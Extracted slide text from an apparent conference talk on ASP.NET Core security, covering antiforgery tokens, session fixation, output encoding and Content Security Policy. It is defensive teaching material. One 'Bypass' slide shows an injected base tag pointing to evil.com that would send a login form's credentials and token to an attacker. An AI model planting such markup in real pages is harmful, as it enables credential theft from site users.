  • 25. AutoValidateAntiforgeryToken public class Startup { public void ConfigureServices(IServiceCollection services) { services.AddMvc(options => options.Filters.Add(new AutoValidateAntiforgeryTokenAttribute())); } } #23
  • 26. ValidateAntiForgeryToken IgnoreAntiforgeryToken [ValidateAntiForgeryToken] public class CustomController : Controller { [HttpPost] [IgnoreAntiforgeryToken] public IActionResult DoSomething(SomeViewModel model) { // no antiforgery token required } } #24
  • 27. Generate AntiForgery tokens automatically <form asp-controller="Account" asp-action="Login" asp-route-returnurl="@ViewData["ReturnUrl"]" method="post" class="form-horizontal"> <h4>Use a local account to log in.</h4> <div asp-validation-summary="All" class="text-danger"></div> <div class="form-group">...</div> </form> <form method="post" class="form-horizontal" action="/Account/Login" novalidate="novalidate"> <h4>Use a local account to log in.</h4> <div class="text-danger validation-summary-valid" data-valmsg-summary="true"> <ul><li style="display: none"></li></ul> </div> <div class="form-group">...</div> <input name="__RequestVerificationToken" type="hidden" value="CfDJ8MNYtGIQJ0NKvmDVDgK_YQ2alNtW7VHnQAVGEoKzZhHQgrj0A0o8L8s9049_Z1ELltvpTkCt978aCpj1 </form> #25
  • 28. Add AntiForgery token explicitly <form action="/" method="post"> @Html.AntiForgeryToken() </form> <input name="__RequestVerificationToken" type="hidden" value="CfDJ8NrAkSldwD9CpLRyOtm6FiJB1Jr_F3FQJQDvhlHoLNJJrLA6zaMUmhjMsisu2D2tFkAiYgyWQawJk9vNm36s #26
  • 29. AJAX, WebAPI, SPAs…  Do you use authentication cookies?  No cookies, no problems… except for stealing a token by XSS  For example, you may use JSON Web Token (JWT)  Yes, I do… Go next page #27
  • 30. AJAX, WebAPI, SPAs… @inject Microsoft.AspNetCore.Antiforgery.IAntiforgery Xsrf @functions{ public string GetAntiXsrfRequestToken() { return Xsrf.GetAndStoreTokens(Context).RequestToken; } } <input type="button" id="antiforgery" value="Antiforgery" /> <script> $("#antiforgery").click(function () { $.ajax({ type: "post", dataType: "html", headers: { "RequestVerificationToken": '@GetAntiXsrfRequestToken()' }, url: '@Url.Action("Antiforgery", "Home")', }); }); #28
  • 32. Under the Hood <form method="post" action="/Home/MyAction"> <div>...</div> <input name="__RequestVerificationToken" type="hidden" value="CfDJ8MNYtGIQJ0NKvmDVDgK_YQ2alNtW7VHnQAVGEoKzZhHQgrj0A0o8L8s9049 </form> https://github.com/aspnet/Antiforgery #30
  • 33. New Token private static readonly RandomNumberGenerator randomNumberGenerator = RandomNumberGenerator.Create(); private static byte[] GenerateNewToken(int bitLength) { var data = new byte[bitLength / 8]; randomNumberGenerator.GetBytes(data); return data; } #31
  • 34. Cookie Attributes: Domain and Path public class ResponseCookies : IResponseCookies { public void Append(string key, string value, CookieOptions options) { var cookieHeaderValue = new SetCookieHeaderValue( Uri.EscapeDataString(key), Uri.EscapeDataString(value)); cookieHeaderValue.Domain = options.Domain; cookieHeaderValue.Path = options.Path; #32
  • 36. Using HttpOnly is enough? cryptoSystem = provider.CreateProtector( "Microsoft.AspNetCore.Antiforgery.AntiforgeryToken.v1"); // ... var bytes = cryptoSystem.Protect(stream.ToArray()); #34
  • 37. Why isn't it enough again? /* The serialized format of the anti-XSRF token is as follows: * Version: 1 byte integer * SecurityToken: 16 byte binary blob * IsCookieToken: 1 byte Boolean * [if IsCookieToken != true] * +- IsClaimsBased: 1 byte Boolean * | [if IsClaimsBased = true] * | `- ClaimUid: 32 byte binary blob * | [if IsClaimsBased = false] * | `- Username: UTF-8 string with 7-bit integer length prefix * `- AdditionalData: UTF-8 string with 7-bit integer length prefix */ #35
  • 40. Overview private string GetMessageFromCacheOrDb() { // check session cache byte[] value; if (HttpContext.Session.TryGetValue("msg", out value)) { return System.Text.Encoding.UTF8.GetString(value); } var valueMessage = GetMessageFromDb(HttpContext.User.Identity.Name); HttpContext.Session.SetString("msg", valueMessage); return valueMessage; } #38
  • 42. Why do we talk about it?  The current implementation has a weakness that can be the cause of Session Fixation attack.  The Session Fixation took 2th prize in OWASP Top 10. #40
  • 43. Demo code private string GetMessageFromCacheOrDb() { // check session cache byte[] value; if (HttpContext.Session.TryGetValue("msg", out value)) { return System.Text.Encoding.UTF8.GetString(value); } var valueMessage = GetMessageFromDb(HttpContext.User.Identity.Name); HttpContext.Session.SetString("msg", valueMessage); return valueMessage; } #41
  • 44.
  • 45. Session Fixation in ASP .NET Core  Don’t store security sensitive data in a session!..  Or die fix it in your project. #43
  • 47. Why do we talk about it?  The XSS is the most popular attack to web applications  https://github.com/OWASP/Top10/tree/master/2017/datacall  https://twitter.com/kochetkov_v/status/857575220160462850  This is a good entry point for other attacks with more impact  Only some people know and correctly use built-in XSS prevention mechanisms #45
  • 48. Same-origin policy (SOP)  URI scheme (http)  Hostname (my-domain.com)  Port number (80) #46
  • 51. Encoding points  HTML  JavaScript  URL  XML  SVG #49
  • 52. Encoding points  HtmlEncoder (@<member> in .cshtml)  JavaScriptEncoder  UrlEncoder  Any sanitizer https://github.com/mganss/HtmlSanitizer #50
  • 53. Content Security Policy (CSP) app.UseMvc(); app.Use(async (context, next) => { context.Response.Headers.Add("Content-Security-Policy", "default-src 'self'; report-uri /cspreport"); await next(); }); #51
  • 54. CSP Report Request public class CspReportRequest { [JsonProperty(PropertyName = "csp-report")] public CspReport CspReport { get; set; } } public class CspReport { [JsonProperty(PropertyName = "document-uri")] public string DocumentUri { get; set; } [JsonProperty(PropertyName = "referrer")] public string Referrer { get; set; } [JsonProperty(PropertyName = "violated-directive")] public string ViolatedDirective { get; set; } [JsonProperty(PropertyName = "effective-directive")] public string EffectiveDirective {get; set;} [JsonProperty(PropertyName = "original-policy")] public string OriginalPolicy { get; set; } [JsonProperty(PropertyName = "blocked-uri")] public string BlockedUri { get; set; } [JsonProperty(PropertyName = "status-code")] public int StatusCode { get; set; } } #52
  • 55. CSP Report Endpoint [HttpPost("~/cspreport")] public IActionResult CspReport([FromBody] CspReportRequest request) { // log and analyze the report... return Ok(); } #53
  • 56. Bypass <base href='http://evil.com/'> <form method="post" class="form-horizontal" action="/Account/Login"> <h4>Use a local account to log in.</h4> <input type="email" id="Email" name="Email" value="" /> <input type="password" id="Password" name="Password" /> <button type="submit">Log in</button> <input name="__RequestVerificationToken" type="hidden" value="CfDJ8MNYtGIQJ0N </form> #54
  • 57. x-xss-protection app.UseMvc(); app.Use(async (context, next) => { context.Response.Headers.Add("x-xss-protection", "1"); await next(); }); #55
  • 58. Summary  Michal Zalewski “Tangled Web. A Guide to Securing Modern Web Applications”  Stan Drapkin “Security Driven .NET”  OWASP Testing Guide v4 #56
  • 59. Questions?! Mikhail Shcherbakov @yu5k3 https://www.linkedin.com/in/mikhailshcherbakov Independent Developer and Consultant The presentation contains footage from Olive Kitteridge